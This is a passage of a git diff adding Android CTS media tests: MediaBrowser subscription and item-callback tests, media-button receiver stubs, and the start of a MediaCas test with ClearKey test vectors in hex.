+        assertEquals(0, mConnectionCallback.mConnectionSuspendedCount);
+    }
+
+    public void testSubscribe() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        runOnMainThread(() -> {
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+        });
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mSubscriptionCallback.mChildrenLoadedCount > 0;
+            }
+        }.run();
+
+        assertEquals(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback.mLastParentId);
+        assertEquals(StubMediaBrowserService.MEDIA_ID_CHILDREN.length,
+                mSubscriptionCallback.mLastChildMediaItems.size());
+        for (int i = 0; i < StubMediaBrowserService.MEDIA_ID_CHILDREN.length; ++i) {
+            assertEquals(StubMediaBrowserService.MEDIA_ID_CHILDREN[i],
+                    mSubscriptionCallback.mLastChildMediaItems.get(i).getMediaId());
+        }
+
+        // Test unsubscribe.
+        resetCallbacks();
+        runOnMainThread(() -> {
+            mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT);
+        });
+
+        // After unsubscribing, make StubMediaBrowserService notify that the children are changed.
+        StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT);
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        // onChildrenLoaded should not be called.
+        assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
+    }
+
+    public void testSubscribeWithIllegalArguments() throws Throwable {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        runOnMainThread(() -> {
+            try {
+                final String nullMediaId = null;
+                mMediaBrowser.subscribe(nullMediaId, mSubscriptionCallback);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+
+            try {
+                final String emptyMediaId = "";
+                mMediaBrowser.subscribe(emptyMediaId, mSubscriptionCallback);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+
+            try {
+                final MediaBrowser.SubscriptionCallback nullCallback = null;
+                mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullCallback);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+
+            try {
+                final Bundle nullOptions = null;
+                mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullOptions,
+                        mSubscriptionCallback);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+        });
+    }
+
+    public void testSubscribeWithOptions() throws Throwable {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        final int pageSize = 3;
+        final int lastPage = (StubMediaBrowserService.MEDIA_ID_CHILDREN.length - 1) / pageSize;
+        Bundle options = new Bundle();
+        options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+        for (int page = 0; page <= lastPage; ++page) {
+            resetCallbacks();
+            options.putInt(MediaBrowser.EXTRA_PAGE, page);
+            runOnMainThread(() -> {
+                mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options,
+                        mSubscriptionCallback);
+            });
+            new PollingCheck(TIME_OUT_MS) {
+                @Override
+                protected boolean check() {
+                    return mSubscriptionCallback.mChildrenLoadedWithOptionCount > 0;
+                }
+            }.run();
+            assertEquals(StubMediaBrowserService.MEDIA_ID_ROOT,
+                    mSubscriptionCallback.mLastParentId);
+            if (page != lastPage) {
+                assertEquals(pageSize, mSubscriptionCallback.mLastChildMediaItems.size());
+            } else {
+                assertEquals((StubMediaBrowserService.MEDIA_ID_CHILDREN.length - 1) % pageSize + 1,
+                        mSubscriptionCallback.mLastChildMediaItems.size());
+            }
+            // Check whether all the items in the current page are loaded.
+            for (int i = 0; i < mSubscriptionCallback.mLastChildMediaItems.size(); ++i) {
+                assertEquals(StubMediaBrowserService.MEDIA_ID_CHILDREN[page * pageSize + i],
+                        mSubscriptionCallback.mLastChildMediaItems.get(i).getMediaId());
+            }
+        }
+
+        // Test unsubscribe with callback argument.
+        resetCallbacks();
+        runOnMainThread(() -> {
+            mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+        });
+
+        // After unsubscribing, make StubMediaBrowserService notify that the children are changed.
+        StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT);
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        // onChildrenLoaded should not be called.
+        assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
+    }
+
+    public void testSubscribeInvalidItem() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        runOnMainThread(() -> {
+            mMediaBrowser.subscribe(
+                    StubMediaBrowserService.MEDIA_ID_INVALID, mSubscriptionCallback);
+        });
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mSubscriptionCallback.mLastErrorId != null;
+            }
+        }.run();
+
+        assertEquals(StubMediaBrowserService.MEDIA_ID_INVALID, mSubscriptionCallback.mLastErrorId);
+    }
+
+    public void testSubscribeInvalidItemWithOptions() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+
+        final int pageSize = 5;
+        final int page = 2;
+        Bundle options = new Bundle();
+        options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+        options.putInt(MediaBrowser.EXTRA_PAGE, page);
+        runOnMainThread(() -> {
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_INVALID, options,
+                    mSubscriptionCallback);
+        });
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mSubscriptionCallback.mLastErrorId != null;
+            }
+        }.run();
+
+        assertEquals(StubMediaBrowserService.MEDIA_ID_INVALID, mSubscriptionCallback.mLastErrorId);
+        assertEquals(page, mSubscriptionCallback.mLastOptions.getInt(MediaBrowser.EXTRA_PAGE));
+        assertEquals(pageSize,
+                mSubscriptionCallback.mLastOptions.getInt(MediaBrowser.EXTRA_PAGE_SIZE));
+    }
+
+    public void testSubscriptionCallbackNotCalledAfterDisconnect() throws Throwable {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        runOnMainThread(() -> {
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+            mMediaBrowser.disconnect();
+        });
+        resetCallbacks();
+        StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT);
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
+        assertEquals(0, mSubscriptionCallback.mChildrenLoadedWithOptionCount);
+        assertNull(mSubscriptionCallback.mLastParentId);
+    }
+
+    public void testUnsubscribeWithIllegalArguments() throws Throwable {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        runOnMainThread(() -> {
+            try {
+                final String nullMediaId = null;
+                mMediaBrowser.unsubscribe(nullMediaId);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+
+            try {
+                final String emptyMediaId = "";
+                mMediaBrowser.unsubscribe(emptyMediaId);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+
+            try {
+                final MediaBrowser.SubscriptionCallback nullCallback = null;
+                mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullCallback);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+        });
+    }
+
+    public void testUnsubscribeForMultipleSubscriptions() throws Throwable {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        final List<StubSubscriptionCallback> subscriptionCallbacks = new ArrayList<>();
+        final int pageSize = 1;
+
+        // Subscribe four pages, one item per page.
+        for (int page = 0; page < 4; page++) {
+            final StubSubscriptionCallback callback = new StubSubscriptionCallback();
+            subscriptionCallbacks.add(callback);
+
+            Bundle options = new Bundle();
+            options.putInt(MediaBrowser.EXTRA_PAGE, page);
+            options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+            runOnMainThread(() -> {
+                mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options, callback);
+            });
+
+            // Each onChildrenLoaded() must be called.
+            new PollingCheck(TIME_OUT_MS) {
+                @Override
+                protected boolean check() {
+                    return callback.mChildrenLoadedWithOptionCount == 1;
+                }
+            }.run();
+        }
+
+        // Reset callbacks and unsubscribe.
+        for (StubSubscriptionCallback callback : subscriptionCallbacks) {
+            callback.reset();
+        }
+        runOnMainThread(() -> {
+            mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT);
+        });
+
+        // After unsubscribing, make StubMediaBrowserService notify that the children are changed.
+        StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT);
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+
+        // onChildrenLoaded should not be called.
+        for (StubSubscriptionCallback callback : subscriptionCallbacks) {
+            assertEquals(0, callback.mChildrenLoadedWithOptionCount);
+        }
+    }
+
+    public void testUnsubscribeWithSubscriptionCallbackForMultipleSubscriptions() throws Throwable {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        final List<StubSubscriptionCallback> subscriptionCallbacks = new ArrayList<>();
+        final int pageSize = 1;
+
+        // Subscribe four pages, one item per page.
+        for (int page = 0; page < 4; page++) {
+            final StubSubscriptionCallback callback = new StubSubscriptionCallback();
+            subscriptionCallbacks.add(callback);
+
+            Bundle options = new Bundle();
+            options.putInt(MediaBrowser.EXTRA_PAGE, page);
+            options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+            runOnMainThread(() -> {
+                mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options, callback);
+            });
+
+            // Each onChildrenLoaded() must be called.
+            new PollingCheck(TIME_OUT_MS) {
+                @Override
+                protected boolean check() {
+                    return callback.mChildrenLoadedWithOptionCount == 1;
+                }
+            }.run();
+        }
+
+        // Unsubscribe existing subscriptions one-by-one.
+        final int[] orderOfRemovingCallbacks = {2, 0, 3, 1};
+        for (int i = 0; i < orderOfRemovingCallbacks.length; i++) {
+            // Reset callbacks
+            for (StubSubscriptionCallback callback : subscriptionCallbacks) {
+                callback.reset();
+            }
+
+            final int index = i;
+            runOnMainThread(() -> {
+                // Remove one subscription
+                mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT,
+                        subscriptionCallbacks.get(orderOfRemovingCallbacks[index]));
+            });
+
+            // Make StubMediaBrowserService notify that the children are changed.
+            StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                    StubMediaBrowserService.MEDIA_ID_ROOT);
+            try {
+                Thread.sleep(SLEEP_MS);
+            } catch (InterruptedException e) {
+                fail("Unexpected InterruptedException occurred.");
+            }
+
+            // Only the remaining subscriptionCallbacks should be called.
+            for (int j = 0; j < 4; j++) {
+                int childrenLoadedWithOptionsCount = subscriptionCallbacks
+                        .get(orderOfRemovingCallbacks[j]).mChildrenLoadedWithOptionCount;
+                if (j <= i) {
+                    assertEquals(0, childrenLoadedWithOptionsCount);
+                } else {
+                    assertEquals(1, childrenLoadedWithOptionsCount);
+                }
+            }
+        }
+    }
+
+    public void testGetItem() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+
+        runOnMainThread(() -> {
+            mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+        });
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mItemCallback.mLastMediaItem != null;
+            }
+        }.run();
+
+        assertEquals(StubMediaBrowserService.MEDIA_ID_CHILDREN[0],
+                mItemCallback.mLastMediaItem.getMediaId());
+    }
+
+    public void testGetItemThrowsIAE() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        runOnMainThread(() -> {
+            try {
+                // Calling getItem() with empty mediaId will throw IAE.
+                mMediaBrowser.getItem("",  mItemCallback);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+
+            try {
+                // Calling getItem() with null mediaId will throw IAE.
+                mMediaBrowser.getItem(null,  mItemCallback);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+
+            try {
+                // Calling getItem() with null itemCallback will throw IAE.
+                mMediaBrowser.getItem("media_id",  null);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+        });
+    }
+
+    public void testGetItemWhileNotConnected() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        final String mediaId = "test_media_id";
+        runOnMainThread(() -> {
+            mMediaBrowser.getItem(mediaId, mItemCallback);
+        });
+
+        // Calling getItem while not connected will invoke ItemCallback.onError().
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mItemCallback.mLastErrorId != null;
+            }
+        }.run();
+
+        assertEquals(mItemCallback.mLastErrorId, mediaId);
+    }
+
+    public void testGetItemFailure() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        runOnMainThread(() -> {
+            mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_INVALID, mItemCallback);
+        });
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mItemCallback.mLastErrorId != null;
+            }
+        }.run();
+
+        assertEquals(StubMediaBrowserService.MEDIA_ID_INVALID, mItemCallback.mLastErrorId);
+    }
+
+    public void testItemCallbackNotCalledAfterDisconnect() throws Throwable {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        runOnMainThread(() -> {
+            mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+            mMediaBrowser.disconnect();
+        });
+        resetCallbacks();
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        assertNull(mItemCallback.mLastMediaItem);
+        assertNull(mItemCallback.mLastErrorId);
+    }
+
+    private void createMediaBrowser(final ComponentName component) throws Throwable {
+        runOnMainThread(() -> {
+            mMediaBrowser = new MediaBrowser(getInstrumentation().getTargetContext(),
+                    component, mConnectionCallback, null);
+        });
+    }
+
+    private void connectMediaBrowserService() throws Throwable {
+        runOnMainThread(() -> {
+            mMediaBrowser.connect();
+        });
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mConnectionCallback.mConnectedCount > 0;
+            }
+        }.run();
+    }
+
+    private void disconnectMediaBrowser() throws Throwable {
+        runOnMainThread(() -> {
+            mMediaBrowser.disconnect();
+        });
+    }
+
+    private void resetCallbacks() {
+        mConnectionCallback.reset();
+        mSubscriptionCallback.reset();
+        mItemCallback.reset();
+    }
+
+    private void runOnMainThread(Runnable runnable) throws Throwable {
+        AtomicReference<Throwable> throwableRef = new AtomicReference<>();
+
+        getInstrumentation().runOnMainSync(() -> {
+            try {
+                runnable.run();
+            } catch (Throwable t) {
+                throwableRef.set(t);
+            }
+        });
+
+        Throwable t = throwableRef.get();
+        if (t != null) {
+            throw t;
+        }
+    }
+
+    private static class StubConnectionCallback extends MediaBrowser.ConnectionCallback {
+        volatile int mConnectedCount;
+        volatile int mConnectionFailedCount;
+        volatile int mConnectionSuspendedCount;
+
+        public void reset() {
+            mConnectedCount = 0;
+            mConnectionFailedCount = 0;
+            mConnectionSuspendedCount = 0;
+        }
+
+        @Override
+        public void onConnected() {
+            mConnectedCount++;
+        }
+
+        @Override
+        public void onConnectionFailed() {
+            mConnectionFailedCount++;
+        }
+
+        @Override
+        public void onConnectionSuspended() {
+            mConnectionSuspendedCount++;
+        }
+    }
+
+    private static class StubSubscriptionCallback extends MediaBrowser.SubscriptionCallback {
+        private volatile int mChildrenLoadedCount;
+        private volatile int mChildrenLoadedWithOptionCount;
+        private volatile String mLastErrorId;
+        private volatile String mLastParentId;
+        private volatile Bundle mLastOptions;
+        private volatile List<MediaBrowser.MediaItem> mLastChildMediaItems;
+
+        public void reset() {
+            mChildrenLoadedCount = 0;
+            mChildrenLoadedWithOptionCount = 0;
+            mLastErrorId = null;
+            mLastParentId = null;
+            mLastOptions = null;
+            mLastChildMediaItems = null;
+        }
+
+        @Override
+        public void onChildrenLoaded(String parentId, List<MediaBrowser.MediaItem> children) {
+            mChildrenLoadedCount++;
+            mLastParentId = parentId;
+            mLastChildMediaItems = children;
+        }
+
+        @Override
+        public void onChildrenLoaded(String parentId, List<MediaBrowser.MediaItem> children,
+                Bundle options) {
+            mChildrenLoadedWithOptionCount++;
+            mLastParentId = parentId;
+            mLastOptions = options;
+            mLastChildMediaItems = children;
+        }
+
+        @Override
+        public void onError(String id) {
+            mLastErrorId = id;
+        }
+
+        @Override
+        public void onError(String id, Bundle options) {
+            mLastErrorId = id;
+            mLastOptions = options;
+        }
+    }
+
+    private static class StubItemCallback extends MediaBrowser.ItemCallback {
+        private volatile MediaBrowser.MediaItem mLastMediaItem;
+        private volatile String mLastErrorId;
+
+        public void reset() {
+            mLastMediaItem = null;
+            mLastErrorId = null;
+        }
+
+        @Override
+        public void onItemLoaded(MediaItem item) {
+            mLastMediaItem = item;
+        }
+
+        @Override
+        public void onError(String id) {
+            mLastErrorId = id;
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaButtonBroadcastReceiver.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaButtonBroadcastReceiver.java
new file mode 100644
index 0000000..e07394f
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaButtonBroadcastReceiver.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.view.KeyEvent;
+
+import java.util.function.Consumer;
+
+public class MediaButtonBroadcastReceiver extends BroadcastReceiver {
+    public static Consumer<KeyEvent> mCallback;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
+        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
+        synchronized (MediaButtonBroadcastReceiver.class) {
+            if (mCallback != null) {
+                mCallback.accept(keyEvent);
+            }
+        }
+    }
+
+    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
+        synchronized (MediaButtonBroadcastReceiver.class) {
+            mCallback = callback;
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaButtonReceiverService.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaButtonReceiverService.java
new file mode 100644
index 0000000..2e37e95
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaButtonReceiverService.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.IntentService;
+import android.content.Intent;
+import android.view.KeyEvent;
+
+import java.util.function.Consumer;
+
+public class MediaButtonReceiverService extends IntentService {
+    private static final String TAG = "MediaButtonReceiverService";
+    public static Consumer<KeyEvent> mCallback;
+
+    public MediaButtonReceiverService() {
+        super(TAG);
+    }
+
+    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
+        synchronized (MediaButtonReceiverService.class) {
+            mCallback = callback;
+        }
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
+        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
+        synchronized (MediaButtonReceiverService.class) {
+            if (mCallback != null) {
+                mCallback.accept(keyEvent);
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaCasTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaCasTest.java
new file mode 100644
index 0000000..dc2a2e8
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaCasTest.java
@@ -0,0 +1,801 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.media.MediaCas;
+import android.media.MediaCas.PluginDescriptor;
+import android.media.MediaCas.Session;
+import android.media.MediaCasException;
+import android.media.MediaCasException.UnsupportedCasException;
+import android.media.MediaCasStateException;
+import android.media.MediaCodec;
+import android.media.MediaDescrambler;
+import android.os.Build;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.PropertyUtil;
+
+import java.lang.ArrayIndexOutOfBoundsException;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+@Presubmit
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaCasTest extends AndroidTestCase {
+    private static final String TAG = "MediaCasTest";
+
+    // CA System Ids used for testing
+    private static final int sInvalidSystemId = 0;
+    private static final int sClearKeySystemId = 0xF6D8;
+    private static final int API_LEVEL_BEFORE_CAS_SESSION = 28;
+    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    // ClearKey CAS/Descrambler test vectors
+    private static final String sProvisionStr =
+            "{                                                   " +
+            "  \"id\": 21140844,                                 " +
+            "  \"name\": \"Test Title\",                         " +
+            "  \"lowercase_organization_name\": \"Android\",     " +
+            "  \"asset_key\": {                                  " +
+            "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  " +
+            "  },                                                " +
+            "  \"cas_type\": 1,                                  " +
+            "  \"track_types\": [ ]                              " +
+            "}                                                   " ;
+
+    private static final String sEcmBufferStr =
+            "00 00 01 f0 00 50 00 01  00 00 00 01 00 46 00 00" +
+            "00 02 00 00 00 00 00 01  00 00 27 10 02 00 01 77" +
+            "01 42 95 6c 0e e3 91 bc  fd 05 b1 60 4f 17 82 a4" +
+            "86 9b 23 56 00 01 00 00  00 01 00 00 27 10 02 00" +
+            "01 77 01 42 95 6c d7 43  62 f8 1c 62 19 05 c7 3a" +
+            "42 cd fd d9 13 48                               " ;
+
+    private static final String sInputBufferStr =
+            "00 00 00 01 09 f0 00 00  00 01 67 42 c0 1e db 01" +
+            "40 16 ec 04 40 00 00 03  00 40 00 00 0f 03 c5 8b" +
+            "b8 00 00 00 01 68 ca 8c  b2 00 00 01 06 05 ff ff" +
+            "70 dc 45 e9 bd e6 d9 48  b7 96 2c d8 20 d9 23 ee" +
+            "ef 78 32 36 34 20 2d 20  63 6f 72 65 20 31 34 32" +
+            "20 2d 20 48 2e 32 36 34  2f 4d 50 45 47 2d 34 20" +
+            "41 56 43 20 63 6f 64 65  63 20 2d 20 43 6f 70 79" +
+            "6c 65 66 74 20 32 30 30  33 2d 32 30 31 34 20 2d" +
+            "20 68 74 74 70 3a 2f 2f  77 77 77 2e 76 69 64 65" +
+            "6f 6c 61 6e 2e 6f 72 67  2f 78 32 36 34 2e 68 74" +
+            "6d 6c 6e 45 21 82 38 f0  9d 7d 96 e6 94 ae e2 87" +
+            "8f 04 49 e5 f6 8c 8b 9a  10 18 ba 94 e9 22 31 04" +
+            "7e 60 5b c4 24 00 90 62  0d dc 85 74 75 78 d0 14" +
+            "08 cb 02 1d 7d 9d 34 e8  81 b9 f7 09 28 79 29 8d" +
+            "e3 14 ed 5f ca af f4 1c  49 15 e1 80 29 61 76 80" +
+            "43 f8 58 53 40 d7 31 6d  61 81 41 e9 77 9f 9c e1" +
+            "6d f2 ee d9 c8 67 d2 5f  48 73 e3 5c cd a7 45 58" +
+            "bb dd 28 1d 68 fc b4 c6  f6 92 f6 30 03 aa e4 32" +
+            "f6 34 51 4b 0f 8c f9 ac  98 22 fb 49 c8 bf ca 8c" +
+            "80 86 5d d7 a4 52 b1 d9  a6 04 4e b3 2d 1f b8 35" +
+            "cc 45 6d 9c 20 a7 a4 34  59 72 e3 ae ba 49 de d1" +
+            "aa ee 3d 77 fc 5d c6 1f  9d ac c2 15 66 b8 e1 54" +
+            "4e 74 93 db 9a 24 15 6e  20 a3 67 3e 5a 24 41 5e" +
+            "b0 e6 35 87 1b c8 7a f9  77 65 e0 01 f2 4c e4 2b" +
+            "a9 64 96 96 0b 46 ca ea  79 0e 78 a3 5f 43 fc 47" +
+            "6a 12 fa c4 33 0e 88 1c  19 3a 00 c3 4e b5 d8 fa" +
+            "8e f1 bc 3d b2 7e 50 8d  67 c3 6b ed e2 ea a6 1f" +
+            "25 24 7c 94 74 50 49 e3  c6 58 2e fd 28 b4 c6 73" +
+            "b1 53 74 27 94 5c df 69  b7 a1 d7 f5 d3 8a 2c 2d" +
+            "b4 5e 8a 16 14 54 64 6e  00 6b 11 59 8a 63 38 80" +
+            "76 c3 d5 59 f7 3f d2 fa  a5 ca 82 ff 4a 62 f0 e3" +
+            "42 f9 3b 38 27 8a 89 aa  50 55 4b 29 f1 46 7c 75" +
+            "ef 65 af 9b 0d 6d da 25  94 14 c1 1b f0 c5 4c 24" +
+            "0e 65                                           " ;
+
+    private static final String sExpectedOutputBufferStr =
+            "00 00 00 01 09 f0 00 00  00 01 67 42 c0 1e db 01" +
+            "40 16 ec 04 40 00 00 03  00 40 00 00 0f 03 c5 8b" +
+            "b8 00 00 00 01 68 ca 8c  b2 00 00 01 06 05 ff ff" +
+            "70 dc 45 e9 bd e6 d9 48  b7 96 2c d8 20 d9 23 ee" +
+            "ef 78 32 36 34 20 2d 20  63 6f 72 65 20 31 34 32" +
+            "20 2d 20 48 2e 32 36 34  2f 4d 50 45 47 2d 34 20" +
+            "41 56 43 20 63 6f 64 65  63 20 2d 20 43 6f 70 79" +
+            "6c 65 66 74 20 32 30 30  33 2d 32 30 31 34 20 2d" +
+            "20 68 74 74 70 3a 2f 2f  77 77 77 2e 76 69 64 65" +
+            "6f 6c 61 6e 2e 6f 72 67  2f 78 32 36 34 2e 68 74" +
+            "6d 6c 20 2d 20 6f 70 74  69 6f 6e 73 3a 20 63 61" +
+            "62 61 63 3d 30 20 72 65  66 3d 32 20 64 65 62 6c" +
+            "6f 63 6b 3d 31 3a 30 3a  30 20 61 6e 61 6c 79 73" +
+            "65 3d 30 78 31 3a 30 78  31 31 31 20 6d 65 3d 68" +
+            "65 78 20 73 75 62 6d 65  3d 37 20 70 73 79 3d 31" +
+            "20 70 73 79 5f 72 64 3d  31 2e 30 30 3a 30 2e 30" +
+            "30 20 6d 69 78 65 64 5f  72 65 66 3d 31 20 6d 65" +
+            "5f 72 61 6e 67 65 3d 31  36 20 63 68 72 6f 6d 61" +
+            "5f 6d 65 3d 31 20 74 72  65 6c 6c 69 73 3d 31 20" +
+            "38 78 38 64 63 74 3d 30  20 63 71 6d 3d 30 20 64" +
+            "65 61 64 7a 6f 6e 65 3d  32 31 2c 31 31 20 66 61" +
+            "73 74 5f 70 73 6b 69 70  3d 31 20 63 68 72 6f 6d" +
+            "61 5f 71 70 5f 6f 66 66  73 65 74 3d 2d 32 20 74" +
+            "68 72 65 61 64 73 3d 36  30 20 6c 6f 6f 6b 61 68" +
